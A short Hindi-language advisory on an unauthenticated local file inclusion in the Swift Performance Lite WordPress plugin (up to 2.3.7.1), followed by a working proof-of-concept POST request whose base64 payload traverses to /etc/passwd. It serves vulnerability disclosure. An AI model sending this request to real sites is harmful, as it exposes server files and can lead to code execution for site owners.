
Swift Performance Lite <= 2.3.7.1 - 'ajaxify' के माध्यम से अप्रमाणित स्थानीय PHP फ़ाइल समावेशन
Swift Performance Lite <= 2.3.7.1 - 'ajaxify' के माध्यम से अप्रमाणित स्थानीय PHP फ़ाइल समावेशन
WordPress के लिए Swift Performance Lite प्लगइन सभी संस्करणों में, 2.3.7.1 तक और सहित, 'ajaxify' फ़ंक्शन के माध्यम से स्थानीय PHP फ़ाइल समावेशन के लिए संवेदनशील है। यह अप्रमाणित हमलावरों को सर्वर पर मनमानी फ़ाइलों को शामिल करने और निष्पादित करने की अनुमति देता है, जिससे उन फ़ाइलों में किसी भी PHP कोड का निष्पादन संभव हो जाता है। इसका उपयोग पहुँच नियंत्रणों को बायपास करने, संवेदनशील डेटा प्राप्त करने, या उन मामलों में कोड निष्पादन प्राप्त करने के लिए किया जा सकता है जहाँ चित्र और अन्य "सुरक्षित" फ़ाइल प्रकार अपलोड और शामिल किए जा सकते हैं।
बेस64 पेलोड = ["template-part","null","../../../../../etc/passwd"]
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==